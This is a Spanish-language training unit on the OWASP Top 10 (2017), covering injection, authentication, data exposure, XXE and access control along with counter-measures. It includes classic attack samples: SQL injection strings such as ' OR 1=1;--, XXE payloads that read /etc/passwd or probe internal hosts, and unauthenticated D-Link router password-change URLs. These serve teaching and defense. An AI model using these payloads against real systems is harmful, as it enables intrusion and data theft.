3 Owasp

Unidad 3.
OWASP top 10
I. Introducción y objetivos
II. Riesgos de seguridad en aplicaciones web
III. Inyección
IV. Pérdida de autenti cación
V. Exposición a datos sensibles (XXE)
VI. Entidades externas XML
VII. Pérdida de control de acceso
VIII. Con guración de seguridad incorrecta
IX. Secuencias de comandos en sitios cruzados (XSS)

X. Deserialización insegura
XI. Uso de componentes con vulnerabilidades conocidas
XII. Registro y monitoreo insu cientes
XIII. Resumen
XIV. Caso práctico con solución
XV. Lecturas recomendadas
XVI. Enlaces de interés
XVII. Glosario
XVIII. Bibliografía
XIX. Anexos
Lección 1 de 19
I. Introducción y objetivos
1.1. Introducción de la unidad
El proyecto abierto de seguridad en aplicaciones web (OWASP, Open Web Application Security Project, por
sus siglas en inglés) es un proyecto de código abierto dedicado al estudio y la mitigación de las causas por
las que el software es inseguro. Este proyecto cuenta con el apoyo de la OWASP Foundation, una
organización sin ánimo de lucro entre cuyas funciones principales se encuentran el mantenimiento de la
infraestructura de OWASP y la gestión de sus diferentes proyectos.
La posición de OWASP como referente en el mundo de la seguridad de aplicaciones está fuertemente

refrendada por los propios miembros de esta comunidad: empresas, instituciones académicas y
particulares, predominantemente del mundo de la ciberseguridad. Es, precisamente, esta miríada de
miembros la que permite que OWASP sea independiente, tanto a nivel corporativo como tecnológico, y que
pueda desarrollar y mantener información muy variada y concebida globalmente. En lugar de centrarse
únicamente en los aspectos más técnicos de la seguridad de aplicaciones, OWASP considera que la
seguridad informática debe abordarse siempre desde tres enfoques principales: personas, tecnologías y
procesos.
Entre la extensa información generada y mantenida por OWASP, pueden destacarse sus guías, varias de las
cuales se comentarán a continuación. La más conocida, seguramente, es su top ten, una clasificación
elaborada por la comunidad de los diez riesgos en aplicaciones más importantes. Adicionalmente, OWASP
elabora guías centradas en determinados lenguajes o frameworks de programación, como Java o .NET.
Además de sus guías, OWASP también desarrolla y mantiene diferentes herramientas enfocadas tanto a la
seguridad como al estudio. Entre estas herramientas resaltan ZAP, un escáner gratuito de aplicaciones web;
APICheck, un entorno de integración de API HTTP, y OWASP Juice Shop, una aplicación web
deliberadamente insegura diseñada para el estudio de las vulnerabilidades del top ten.
Al tratarse de una comunidad global, gran parte de los proyectos mantenidos por OWASP cuentan con
constantes actualizaciones y mejoras. En el caso de las guías, también es posible encontrar diferentes
traducciones, entre ellas al español.
 En esta unidad se dará a conocer OWASP Top 10, el ya mencionado proyecto estrella de
esta comunidad, con el que se adquirirán los conocimientos necesarios para poder
determinar los diez riesgos más críticos en aplicaciones web.
C O NT I NU A R
1.2. Objetivos de la unidad
1 Dar a conocer el proyecto abierto de seguridad de aplicaciones web (OWASP, Open Web
Application Security Project).
2 Interpretar adecuadamente la información descrita en la guía (rutas, riesgos, clasificaciones,

etc.)
3 Adquirir los conocimientos necesarios para comprender cada uno de los principales riesgos de
una aplicación web según OWASP.
4 Obtener una visión general de cada uno de los diez principales riesgos de seguridad en
aplicaciones web según OWASP.
5 Identificar las principales novedades y diferencias con la versión anterior del top ten.
6 Tener una visión en profundidad de cada uno de los principales diez riesgos del proyecto
OWASP.
7 Conocer las contramedidas generales de seguridad para reducir los riesgos más críticos en
aplicaciones web.
Lección 2 de 19
II. Riesgos de seguridad en aplicaciones web
Un atacante que desee provocar un daño en una organización o negocio puede valerse de diferentes rutas a
través de una determinada aplicación web. Estas rutas podrían suponer un riesgo que, dependiendo de su
gravedad, justificaría la necesidad de abordarlas.
1
Rutas de las aplicaciones web
Figura 1. Rutas de las aplicaciones web
Fuente: guía OWASP Top 10.
Dichas rutas quedan recogidas dentro de la guía oficial del proyecto OWASP en cuanto a los diez
riesgos más críticos en aplicaciones web de la siguiente forma (OWASP Project, s. f. e - Figura 1).
2
Rutas de las aplicaciones web

A veces, estas rutas son fáciles de encontrar y de explotar. Otras veces resulta muy difícil, pero
pueden encontrarse ahí. Si un atacante quiere encontrarlas, las buscará de una y mil maneras.
El daño causado puede ser insignificante (no provocar ningún tipo de consecuencia) o tan grave
que provoque el cierre de un negocio o empresa.
3
Riesgo global
Para determinar el riesgo en una organización determinada se puede evaluar la probabilidad

asociada a un agente de amenaza, el vector de ataque y la debilidad en seguridad. Para hallar el
riesgo global se combinará dicho estudio probabilístico con una estimación del impacto técnico y
de negocio para la organización.
OWASP se enfoca en generalizar los riesgos más serios para un gran conjunto de
organizaciones. Se proporciona información genérica sobre la probabilidad de que ocurra y cuál
es el impacto técnico. Sin embargo, solo quien trabaje en dicha organización conoce el impacto
específico para su negocio, por lo que debe evaluar cada riesgo y valorar cuál podrá ser el
impacto.
4
Clasificación genérica de OWASP
Figura 2. Clasificación genérica de OWASP.
La clasificación genérica que hace OWASP dentro de la guía oficial del proyecto OWASP (s. f.-e)
en cuanto a los diez riesgos más críticos en aplicaciones web es la siguiente:
C O NT I NU A R
Como puede comprobarse, se emplea una clasificación muy sencilla en función de:
PR E VA LE N C I A DE DE T E C C I Ó N DE
E X PLO TA BI LI DA D I M PA C T O T É C N I C O
V ULN E R A BI LI DA D V ULN E R A BI LI DA D
Fácil (3).
Promedio (2).
Difícil (1).
Difundido (3).
Común (2).
Poco común (1).
Fácil (3).
Promedio (2).
Difícil (1).
Severo (3).
Moderado (2).
Menor (1).
Recuerda: OWASP Top 10 2017
La guía objeto de estudio es la versión de 2017, ya que es la última estable. Existe una nueva versión en
desarrollo (temporalmente denominada OWASP Top 10 2020), aunque todavía se encuentra en la fase de
recogida de datos.
Lección 3 de 19
III. Inyección
3.1. Introducción
El proyecto OWASP (s. f. e), en su guía oficial del proyecto Top 10, define inyección como:
Figura 3. Definición de inyección.

Básicamente, algunas de las vulnerabilidades que un atacante podrá aprovechar para su explotación son:
El atacante utiliza una entrada de usuario para introducir caracteres que un intérprete posterior
utiliza.
Esto incluye consultas SQL, LDAP, XPath, comandos de SO, argumentos de programa, etc.
Al ser interpretado, realiza acciones que no son las funciones programadas en la aplicación.
Ejemplo
Un ejemplo clásico sería el siguiente:
String query = "SELECT * FROM accounts WHERE custID='" +

request.getParameter("id")
+"'";
C O NT I NU A R
1
Riesgos de inyección
Figura 4. Riesgos de inyección.

En cuanto a la guía oficial del proyecto OWASP Top 10 (s. f. e), se puede resumir el riesgo
presentado como:
2
Ejemplo de una inyección
Figura 5. Ejemplo de una inyección.

Fuente: Gizmodo.
Este es un ejemplo de lo que podría ocurrir si un coche pusiera en su matrícula algo como lo que
se ve en la imagen siguiente, esta fuese leída por una cámara a la entrada de un parking y el OCR
lo enviase a una aplicación vulnerable.
3
Ejemplo de una inyección

En general, puede indicarse que:
Los fallos de inyección -ya sean de SQL, LDAP u OS, por ejemplo- ocurren cuando se envía a
un intérprete un comando o consulta que contiene datos no fiables.
Estos datos, introducidos maliciosamente por el atacante, pueden engañar al intérprete y

provocar que ejecute comandos no intencionados o proporcionar acceso a datos e
información para los que no se cuenta con autorización.
C O NT I NU A R
3.2. Inyección SQL
Se conoce como inyección SQL o SQLi (SQL injection) al hecho de insertar código SQL intruso y a la porción
de código incrustado.
Existen diferentes tipos de inyección SQL, como las de tipo blind. Este tipo de ataque se produce cuando la
información o los datos enviados por un usuario no son filtrados correctamente. En estos casos, un atacante
podría insertar y ejecutar cadenas de texto, interpretadas como nuevas sentencias SQL, que no deberían ser
aceptadas por el servidor.
Este ataque solo depende de que los datos de entrada se validen de forma inadecuada, por lo que es
independiente del sistema de base de datos subyacente.
Dependiendo de los privilegios del usuario de la base de datos con la que se están ejecutando las consultas,
una de las consecuencias de este ataque podría ser el acceso tanto a las tablas más estrechamente
relacionadas con la operativa de la aplicación del servidor web como a tablas de otras bases de datos que
estén alojadas en el mismo servidor web. Asimismo, también puede dar lugar a la ejecución arbitraria de
comandos del sistema operativo ejecutado en el equipo del servidor web.
Para auditar una aplicación vulnerable existen diferentes formas:
Análisis de métodos GET/POST.
Puntos de entrada a la aplicación.
Análisis de posible código que se encuentre en el servidor.
Campos validados por HTML/CSS.
Campos validados por lenguajes de scripting.
C O NT I NU A R
Búsqueda de carácter rompedor

–
1. Probar comilla doble.
2. Probar comilla simple.

3. Probar otros caracteres (por ejemplo, doble recodificada).
Regla: abrir/cerrar siempre las cadenas.
Búsqueda de carácter “comentario”

–
1. Probar “//” (dobles barras).
2. Probar “/*” (barra y asterisco).
3. Probar “--” (doble guion).
Búsqueda de carácter sentencia múltiple

–
1. Probar “;” (punto y coma).
Estructura típica de entrada

–
strSQL="select * from USUARIOS where usuario=’" & request.form("login") & "’ and password=‘" &
request.form("password") & "’"
Ejercicio: Determinar el uso de las comillas:
Comilla doble: ¿sentencia SQL o lenguaje?: La comilla doble pertenece a la sintaxis del lenguaje de
desarrollo.
Comilla simple: ¿sentencia SQL o lenguaje? La comilla simple pertenece a la sintaxis del lenguaje
SQL, por lo que será la elegida para poder inyectar código malicioso. strSQL = "select *
from USUARIOS where usuario=‘cadena_login’ and password=‘cadena_password’"
Rotura
–
Siempre “carácter interno” (sentencia SQL).
strSQL="Select * from USUARIOS where usuario=‘ ’cadena_login’ and password=‘cadena_password’"
Como puede verse, generará un error sintáctico, ya que encuentra cierres no adecuados:
strSQL="Select * from USUARIOS where usuario=‘’cadena_login’ and password=‘cadena_password’”
No obstante, será necesario comentar e ignorar todo lo que venga a continuación, por lo que se podrá
emplear el carácter o los caracteres de comentario, sentencia múltiple…
¿Varios parámetros?: cuando hay varios parámetros inyectables es mucho más importante contar con
diferentes formas donde dichos caracteres se convertirán en obligatorios.
Por ejemplo, supón el siguiente formulario:
Figura 6. Formulario de acceso.

Fuente: creación propia.
Y el siguiente código:
strSQL="Select *
from USUARIOS
where usuario=‘cadena_login_correcta’ and password=‘’;--cadena_password’"
Tras inyectar en Password la comilla simple, ha sido necesario permitir la sentencia múltiple (;) o comentar
el resto para ignorarlo (--).
También se podrían haber introducido en el primer parámetro:
strSQL="Select *
from USUARIOS
where usuario=‘’;-- cadena_login’
and password=‘cadena_password’"
C O NT I NU A R
3.3. Precedencia de operadores

Como cualquier lenguaje de desarrollo, también existe una preferencia de operadores. En este caso, la
inyección de código será:
‘ OR 1=1;--
Por lo tanto, la sintaxis completa del código a ejecutar sería:

strSQL=”Select * from USUARIOS where usuario=‘cadena_login_correcta’ and password= ‘’ OR 1=1;--
cadena_password’”
strSQL=”Select * from USUARIOS

where usuario=‘cadena_login_correcta’ and password= ‘’ OR 1=1;--cadena_pass
3.3.1. Precedencia
La preferencia de operadores sería:
Select * from USUARIOS where usuario=‘cadena_login_correcta’ and password=‘’ OR V=V;
Select * from USUARIOS where usuario=‘cadena_login_correcta’ and password=‘’ OR V;
Select * from USUARIOS where usuario=‘cadena_login_correcta’ and F/V OR V;
Select * from USUARIOS where usuario=‘cadena_login_correcta’ and V;
Select * from USUARIOS where usuario=V and V;
Select * from USUARIOS where usuario=V;
Entonces, es posible afirmar que, para cualquier usuario conocido, no será necesario introducir nada en
Password, ya que se habrá introducido una condición que lo hará verdadero mediante la precedencia de
operadores.
3.3.2. Variaciones de las consultas

En función del backend empleado, podrán realizarse diferentes variaciones de la consulta, tales como:
Figura 7. Variaciones de las consultas.

Fuente: Trustware.
3.3.3. Combinación con caracteres de comentario

También se podrán combinar con los caracteres de comentario:
Figura 8. Combinación con caracteres de comentario.
Fuente: Burp Site Support Center.
C O NT I NU A R
3.4. Particularidades de los backends
3.4.1. MySQL
Se ejecuta con privilegios de root por defecto.
Volcado a ficheros con Into Outfile.
La ejecución de sentencias múltiples es poco probable: pocos módulos lo permiten.
3.4.2. Oracle y DB2
No se permite ejecutar sentencias múltiples..
Sí se permite anidar consultas de tipo Select y el uso de Union.

Se emplean procedimientos invocables desde la inyección.
3.4.3. PostgreSQL
Sí se permite ejecutar sentencias múltiples.
Es posible el uso de Copy como superusuario.
3.4.4. SQL Server
Sí se permite ejecutar sentencias múltiples.
3.4.5. Uso de cheatsheets

Para poder manejar de una forma rápida los comandos y trucos de inyección SQL, se han creado y se
mantienen cheatsheets a modo de resumen para que puedan ser consultados en línea. Entre otros, están las
listas de OWASP Project (s. f. d) y Pentestmonkey (s. f.).
C O NT I NU A R
3.5. Contramedidas generales
Aunque se verán en detalle las contramedidas en cada uno de los módulos específicos para cada lenguaje
de desarrollo empleado, en general podrían ofrecerse las siguientes:
Escape de cualquier cadena que llegue desde un formulario.
Intentar eliminar caracteres como comillas simples y dobles.
Eliminar caracteres como guiones, barras, asteriscos, etc.
En general, filtrar y sanitizar cualquier tipo de entrada que pueda dar pie a una inyección.
Usar siempre las medidas de protección provistas por lenguajes y motores de bases de datos
como:
Prepared statements.
Stored procedures.
Lección 4 de 19
IV. Pérdida de autentificación
4.1. Introducción
El proyecto OWASP (s. f. e), en su guía oficial del proyecto Top 10, la define como:
Figura 9. Definición de pérdida de autenticación y gestión de sesiones.

La corrección de esta vulnerabilidad puede variar en dificultad dependiendo de cada caso, pero se trata de
un problema muy serio que en ocasiones tiene fácil mitigación. El atacante utiliza unos errores en las
funciones de autenticación o gestión de sesiones para hacerse pasar por otro usuario.
A menudo, los programadores crean esquemas propios de autenticación o mantenimiento de sesiones que
contienen vulnerabilidades que hacen a las aplicaciones menos seguras: en el cierre de sesión, la gestión
de contraseñas, el tiempo de desconexión, la función de recordar la contraseña, la pregunta secreta, la
actualización de cuenta, etc.
C O NT I NU A R
4.1.1. Riesgos de la pérdida de autenticación
En cuanto a la guía oficial del proyecto OWASP Top 10 (s. f. e), se puede resumir el riesgo presentado como:
Figura 10. Riesgos de la pérdida de autenticación y gestión de sesiones.

En líneas generales, podría indicarse que:

1
Con respecto a OWASP 2013, se ha mantenido en la misma posición de la lista. Sin embargo,
respecto a 2010 ha subido un puesto debido a que ascendió en prevalencia, por lo que se ha
intercambiado la posición A2 por la A3.
2
Las funcionalidades de la aplicación relativas a la autenticación y la gestión de sesiones suelen

implementarse de forma incorrecta, lo que permite que un atacante pueda comprometer claves,
contraseñas o tokens de sesión, así como explotar otros fallos de implementación, para poder
suplantar la identidad de otros usuarios.
C O NT I NU A R
4.2. Pérdida de autenticación y gestión de sesiones
4.2.1. Problemas
Tal y como se ha ido comentando en los diferentes módulos formativos, algunos de los principales
problemas encontrados son:
HTTP es un protocolo sin estados.
Es necesario recordar ciertas variables asignadas al usuario final en las aplicaciones web (por
ejemplo, inicio de sesión/contraseña).
Las credenciales principales deben acompañarse en cada solicitud y ser comprobadas.
Se debería emplear SSL cada vez que sea requerida una credencial.
4.2.2. Sesiones
Es por ello por lo que se han establecido las denominadas sesiones, donde, en líneas generales, puede
indicarse:
Cada lenguaje implementa la posibilidad de trabajar con sesiones únicas para cada usuario.
El SESSION_ID se emplea para mantener el estado de un usuario y dotar al HTTP del

mecanismo del que carece.
Para un atacante, interceptar la sesión es tan útil como saber las credenciales del usuario.
El ID_SESSION es expuesto en la red, en el navegador y en los logs.
Si es conocido, las cuentas de usuario pueden verse comprometidas o las sesiones de usuario
pueden ser falseadas.
La mayoría de las aplicaciones tienen la opción de recordar contraseña, cambiar contraseña,

pregunta(s) secreta(s), correo electrónico, etc.
4.2.3. Autenticación
Por ello, es necesario comprender la autenticación con las estrategias planteadas:
En toda la aplicación, debe mantenerse la autenticación presente.
Debe realizarse con mecanismos seguros (por ejemplo, SSL).

La capa 8 la pondrá el usuario (post-it, ficheros de credenciales, etc.), pero no es parte de la
aplicación auditada. Es muy importante concienciar sobre buenas prácticas de seguridad y
eliminar cualquier rastro no controlado por nuestra aplicación.
C O NT I NU A R
4.3. Escenario de exposición
4.3.1. Aplicación de viajes que no destruye las sesiones
Viajar mal
ABRIR ENLACE
Se lo mandamos a nuestros familiares para que vean lo que nos ha costado y dónde nos vamos a ir de viaje.
Un usuario malicioso lo intercepta y lo modifica:
<http://www.viajarmal.com/reserva dest=hawaii&passenger=juanker&billing=pedro&sessid=02a3f>.
Como la sesión no ha sido destruida, conseguirá su billete a cargo de la otra persona y con otro destino
completamente diferente.
4.3.2. Sesiones almacenadas en local

Supongamos el presente caso:
Cibercafé donde navegamos.

Hemos acabado y cerramos la pestaña.
Un usuario malicioso accede al mismo equipo y recupera la sesión con el historial que
proporciona el browser.
4.3.3. Hosting compartido

Este es otro caso muy frecuente que puede producirse en caso de emplear un hosting compartido, ya que
todas las sesiones son almacenadas en el mismo directorio:
Contratamos un hosting compartido.
Nuestro vecino es un usuario malicioso.
Se investiga el directorio “/tmp” recuperando el contenido de las sesiones.
4.3.4. Mala gestión de la autenticación

Un caso hipotético:
Nuestro nuevo rúter requiere un inicio de sesión con SSL, certificado de usuario y puesta en marcha de
una PKI con Radius. En realidad, esto no es necesario; simplemente, se ha puesto para demostrar como
todo el proceso de autenticación sería completamente seguro, a excepción de lo siguiente.
Pero es un D-Link DSL-2640B y el cambio de contraseña no requiere de inicio de sesión (caso real).
Como la autenticación no ha sido comprobada, un usuario malicioso podría acceder directamente a:

<http://192.168.1.1:80/redpass.cgi?sysPassword=nuevo&change=1>.
De este modo, podría cambiar la contraseña del rúter sin haber sido autenticado.
Existen muchos otros modelos, como D-Link DIR-300, DIR-320 y DIR-620, sin necesidad de credenciales:
<http://192.168.0.1/bsc_lan.php=NO_NEED_AUTH=1&AUTH_GROUP=0>.
Correo electrónico de la lista de fulldisclosure: tal como se ha visto, estas situaciones se presentan a
menudo. En la famosa lista de Seclists.org (Full Disclosure: Predefined Post Authentication Session ID
Vulnerability, 2012) se publicó el siguiente correo electrónico:
Figura 11. Correo electrónico de la lista de fulldisclosure.

Fuente: Seclists.
También se puede forzar a definir una sesión predeterminada, denominada en inglés Session Fixation,
que podrá ser explotada por usuarios maliciosos. En los módulos correspondientes a los lenguajes de
desarrollo se verá cómo afecta en particular a cada uno.
C O NT I NU A R
V E R I F I C A R LA A R Q UI T E C T UR A V E R I F I C A R LA A PLI C A C I Ó N
1. La autenticación debe ser simple, centralizada y estandarizada.
2. Usar el ID_SESSION que proporcione el lenguaje.
3. Asegurar que se protegen las credenciales y el ID_SESSION todas las veces con SSL.
4. Transmitir las cookies de usuarios mediante HTTP-ONLY y SECURE (SSL).
V E R I F I C A R LA A R Q UI T E C T UR A V E R I F I C A R LA A PLI C A C I Ó N
1. No confiar en aplicaciones mágicas de verificación.
2. Comprobar el certificado SSL.
3. Examinar todas las funciones relacionadas con la autenticación.
4. Verificar que la desconexión destruye la sesión.

Lección 5 de 19
V. Exposición a datos sensibles (XXE)
5.1. Introducción
El proyecto OWASP (s. f. e), en su guía oficial del proyecto OWASP Top 10, la define como:
Figura 12. Definición de exposición de datos sensibles.

Para su explotación, normalmente:
1 2 3 4
Los atacantes no rompen el sistema criptográfico; simplemente, atacan defectos en su implementación.

1 2 3 4
El error más frecuente en esta categoría de riesgo es no cifrar datos que, por su naturaleza, deberían estarlo.
1 2 3 4
A la hora de cifrar la información, es habitual generar y almacenar claves de forma insegura, así como
utilizar algoritmos débiles o no rotar las claves. Asimismo, también es un error común (sobre todo a la hora
de proteger contraseñas) emplear hashes inseguros y sin sal.
1 2 3 4
Básicamente, la sal en criptografía son cadenas aleatorias que se emplean como un dato adicional más de
la entrada ofrecida por el usuario y que se concatenarán a ella para reforzar la función de hash empleada.
Puede consultarse el artículo Salt (cryptography) (2021) para su estudio ampliado.

Ejemplo clásico
La base de datos de contraseñas usa hashes sin sal para almacenar las
contraseñas de todos los usuarios. Todos los hashes sin sal se pueden
romper con tablas rainbow.
Las tablas rainbow son tablas de hashes precomputados para las funciones

criptográficas de una única vía y, normalmente, se emplean para el cracking o
la rotura de contraseñas. Se puede ampliar información sobre las mismas en
el artículo de ParthDutt (2018).
C O NT I NU A R
5.1.1. Riesgos de XSS

En cuanto a la guía oficial del Proyecto OWASP Top Ten (s. f.-e), se puede resumir el riesgo presentado
como:
Figura 13. Riesgos de XSS.
En líneas generales, podría indicarse que:

1
Con respecto a la versión de 2013, se mantiene en la misma posición de la lista.

2
Sin embargo, este nuevo dominio ha sido resultado de la fusión de OWASP 2010 - A7
(almacenamiento criptográfico inseguro) y OWASP 2010 - A9 (protección insuficiente en la capa
de transporte).
3
También se han añadido los riesgos de exposición de datos sensibles en el navegador.

4
Determinados datos sensibles, como las credenciales de autenticación o los números de tarjetas
de crédito, tienden a protegerse de manera inadecuada.
5
Un atacante podría obtener estos datos y utilizarlos o manipularlos para poder suplantar o robar
identidades, llevar a cabo fraudes u otros delitos.
6
Es necesario que la información sensible cuente con medidas de protección adicionales, como,
por ejemplo, el cifrado de datos.
7
El intercambio de datos con el navegador también requiere de una especial precaución y

protección.
C O NT I NU A R
5.2. Exposición de datos sensibles
Es raro que un atacante rompa el sistema criptográfico, ya que prefieren otros métodos, como
la búsqueda y el hallazgo de claves, las copias de datos no cifradas o el acceso mediante
canales que descifren la información de manera automática.
Sin embargo, si todo falla y tienen acceso a la información protegida que contiene datos
sensibles, tales como datos médicos, cuentas de usuario, datos personales, tarjetas de
crédito, etc., al menos no hay que ponerlo fácil.
Es muy probable que un tercero pueda capturar el tráfico de red de un usuario.

Es habitual que las aplicaciones dejen el tráfico de red desprotegido.
Aunque empleen SSL/TLS durante el proceso de autenticación, no sucede lo mismo en otros

lugares de la aplicación, por lo que es posible interceptar datos sensibles (como los
identificadores de sesión) a posteriori.
También es muy habitual el uso de certificados mal configurados o, directamente, caducados.
Incluso protocolos débiles dentro del TLS/SSL.
Puede que no se comprueben los OCSP por ser de pago.
Figura 14. Exposición de datos sensibles.

Fuente: Inza, J.; WordPress.com.
C O NT I NU A R
Es necesario asegurarse de
que las copias de seguridad
que estén almacenadas
externamente estén
Contramedida 1
debidamente cifradas; sin
embargo, las claves deben
gestionarse y almacenarse
aparte.
1 of 9
Los algoritmos de cifrado

empleados deben ser
estándares y robustos.
Contramedida 2
Asimismo, las claves deben
ser fuertes y gestionarse
adecuadamente.
2 of 9
Las contraseñas se deben
almacenar en forma de hash
Contramedida 3 generado con un algoritmo
estándar robusto. Además,
deben incluir sal.
3 of 9
Se debe garantizar que todas

las claves y las contraseñas
Contramedida 4
están protegidas contra
accesos no autorizados.
4 of 9
El uso de SSL debe ser

obligatorio en todas las
páginas sensibles. Las
Contramedida 5 peticiones que se realicen a
estas páginas sin SSL deben
redirigirse a las páginas que sí
utilicen SSL.
5 of 9
El atributo secure debe

Contramedida 6 establecerse en todas
las cookies sensibles.
6 of 9
El servidor SSL debe estar

configurado para que solo
acepte algoritmos
Contramedida 7
considerados fuertes (por
ejemplo, aquellos que
cumplan con FIPS 140-2).
7 of 9
Se debe verificar que el

certificado sea válido, que no
haya expirado o se haya
Contramedida 8
revocado y que se ajuste a
todos los dominios empleados
por la aplicación.
8 of 9
Las conexiones a sistemas

finales (backend) deben
Contramedida 9 también emplear SSL o, en su
defecto, sistemas de cifrado
análogos.
9 of 9
Lección 6 de 19
VI. Entidades externas XML
6.1. Introducción
El proyecto OWASP (s. f. e), en su guía oficial del proyecto OWASP Top 10, las define como:
Figura 15. Definición de entidades externas de XML.

Este tipo de fallos se pueden llegar a producir en las aplicaciones que reciben como entrada un documento
XML y para procesarlo hacen uso de alguna librería de procesado como LibXML, Xerces, MiniDOM, etc. Es
decir, se produce en aplicaciones que hacen uso de parsers XML.
Por defecto, muchos procesadores de XML permiten añadir entidades externas que son referenciadas y
evaluadas durante el procesamiento del archivo XML. Esta vulnerabilidad puede ser usada para extraer
información, ejecutar peticiones remotas desde el servidor, escanear el sistema interno, etc.
Ejemplo clásico para mostrar el contenido del archivo “Passwd”:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM

"file:///etc/passwd" >]>
<foo>&xxe;</foo>
C O NT I NU A R
6.1.1. Riesgos de entidades externas XML

Figura 16. Riesgos de entidades externas XML.

En líneas generales, puede observarse que este dominio ha sido añadido en la nueva versión de OWASP Top
10 2017 debido a su alta presencia en los servicios web.
C O NT I NU A R
6.2. Entidades externas XML (XXE)
Las aplicaciones y servicios - en particular aquellos basados en XML o en integraciones que lo utilicen-
podrían ser vulnerables a este ataque si:
La aplicación carga XML desde fuentes no fiables, acepta XML directamente o inserta datos
no fiables en archivos XML. Asimismo, un proceso XML analiza sintácticamente estos datos.
Los procesadores XML empleados en la aplicación o los servicios web basados en el

protocolo SOAP tienen las DTD (document type definition o definiciones de tipo de documento,
en español) habilitadas.
SAML emplea XML para garantizar la identidad de los usuarios y puede ser vulnerable.
La aplicación utiliza SOAP en versiones anteriores a la 1.2.
Ser vulnerable a este ataque suele significar que la aplicación es también vulnerable a ataques de
denegación de servicio.
C O NT I NU A R
6.3. Ejemplos
Como su propio nombre indica, la manera más fácil de explotar esta vulnerabilidad es mediante la carga de
un archivo XML malicioso. Para realizar este paso, es necesario que la aplicación acepte la subida de un
XML o envíe mensajes en XML.
El atacante extrae información del servidor

–
<?xml versión=”1.0” encoding=”ISO-8859-1”?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM “file:///etc/passwd”>]>
<foo>&xxe;</foo>
El atacante escanea la red privada del servidor

–
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM “https://192.168.1.1/private”>]>
<foo>&xxe;</foo>
El atacante realiza un ataque de denegación de servicio

–
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM “file:///dev/random”>]>
<foo>&xxe;</foo>
C O NT I NU A R
1 2 3 4
Se aconseja utilizar, siempre que sea posible, formatos de datos menos complejos, como JSON, y evitar la
serialización de datos confidenciales.
1 2 3 4
Actualizar los procesadores y las bibliotecas XML que se estén utilizando en la aplicación o el sistema
subyacente.
1 2 3 4
Deshabilitar en todos los analizadores sintácticos XML de la aplicación las entidades externas de XML y el
procesamiento DTD.
1 2 3 4
Implementar en el servidor una validación de entrada positiva, así como el filtrado y la sanitización, para
evitar la adición de datos maliciosos en documentos, cabeceras y nodos XML.
1 2 3 4
Verificar mediante validación XSD (o análoga) que el XML entrante se valide durante la carga de archivos
XML o XSL.
Lección 7 de 19
VII. Pérdida de control de acceso
7.1. Introducción
Figura 17. Definición de ausencia de control de acceso a funciones.

El atacante hace uso de una autenticación válida para acceder a objetos para los cuales no tendría
autorización o permiso. En estos casos, las aplicaciones suelen emplear el nombre o la clave de un objeto
sin validar que realmente cuente con la autorización necesaria.
El atacante, que es un usuario legítimo en el sistema, simplemente cambia la URL a una página con
privilegios.
Ejemplos clásicos
http://vulenrable.example/catalog/download.jsp?dir=articles&file=815.pdf
http://vulenrable.example/catalog/download.jsp?
dir=articles&file=factura814.pdf
C O NT I NU A R
7.1.1. Riesgos de la pérdida de control de acceso

En cuanto a la guía oficial del proyecto OWASP Top 10 (s. f.-e), se puede resumir el riesgo presentado como:
Figura 18. Riesgos de pérdida de control de acceso.

En líneas generales, se puede observar que:
1
Este nuevo dominio ha sido el resultado de la fusión de OWASP 2013-A4 (referencia directa
insegura a objetos) y OWASP 2013-A7 (ausencia de control de acceso a las funciones).
2
El control de acceso solo es efectivo si es aplicado del lado del servidor o en server-less API, donde
el atacante no puede modificar la verificación del control de acceso o los metadatos.
C O NT I NU A R
7.2. Pérdida de control de acceso
Las restricciones de control de acceso implican que los usuarios no pueden actuar fuera de los permisos
previstos. Si esto no se gestiona adecuadamente, puede ocasionar la divulgación, modificación o
destrucción no autorizadas de los datos o realizar una función de negocio fuera de los límites del usuario.
Las acciones que pueden ocasionar este tipo de vulnerabilidad son las siguientes:
Pasar por alto las comprobaciones de control de acceso modificando la URL.

Permitir que la clave primaria se cambie a la de otro usuario, con lo que se podría ver o editar la
cuenta de otra persona.
Gestionar mal los roles de la aplicación y permitir que un usuario sin registrar pueda acceder o
incluso que pueda ver los paneles de administración.
La configuración incorrecta de CORS.
C O NT I NU A R
7.3. Ejemplos
LLA M A DA S Q L C A M BI O S E N LA UR L
Se emplean datos no validados en una llamada SQL para acceder a la información de una cuenta.
Pstmt.setString(1,request.getParameter(“acct”));
ResultSet results = pstmt.executeQuery();
Si el parámetro acct es modificado en el navegador, se puede enviar el número de cuenta que se desee. Por
lo tanto, un atacante podría acceder a las cuentas de cualquier usuario si no existe una verificación
adecuada.
LLA M A DA S Q L C A M BI O S E N LA UR L
El atacante cambia intencionadamente las direcciones en la URL.

http://example.com/app/getappinfo
http://example.com/app/admin_getappinfo
El hecho de que un atacante sea capaz de acceder a cualquier página de su elección o un usuario sin
permisos de administrador pueda entrar en la página de administración supone un fallo.
C O NT I NU A R
La política siempre debe ser denegar de forma predeterminada.
Implementar una vez mecanismos de control de acceso y reutilizarlos después en toda la

aplicación.
La propiedad de los registros de la aplicación debe ser impuesta por los controles de acceso al
modelo: no debe aceptarse que el usuario tenga la capacidad de crear, leer, actualizar o
eliminar dichos registros.
Los requisitos propios de los límites de negocio de las aplicaciones deben ser cumplidos por
los modelos de dominio.
El listado de directorios del servidor web debe deshabilitarse. Asimismo, los metadatos, las
fuentes de los archivos y las copias de seguridad no deben localizarse en las carpetas
públicas.
Los errores en el control de acceso deben registrarse y los administradores de la aplicación

deben ser alertados.
Los tokens JWT deben ser invalidados después de la finalización de la sesión por parte del
usuario.
Lección 8 de 19
VIII. Configuración de seguridad incorrecta
8.1. Introducción
Figura 19. Definición de configuración de seguridad incorrecta.

Para poder explotar dicha vulnerabilidad, se puede:
Para obtener un acceso no

autorizado o, simplemente,
un mayor conocimiento del
sistema, un atacante puede
1
aprovecharse de cuentas
creadas por defecto,
páginas sin utilizar,
defectos o problemas
1 of 3
Cualquier capa de la
aplicación es susceptible de
estar mal configurada. Se
incluye aquí el propio código
2
de la aplicación, así como los
servidores web y de
aplicaciones, el entorno de
trabajo o la plataforma.
2 of 3
Para poder garantizar la

correcta configuración de
todos los niveles de la pila
de aplicación es necesario
3
que tanto los
desarrolladores como los
administradores del
so ware trabajen
3 of 3
Ejemplos clásicos
Tomcat Manager con contraseñas por defecto.
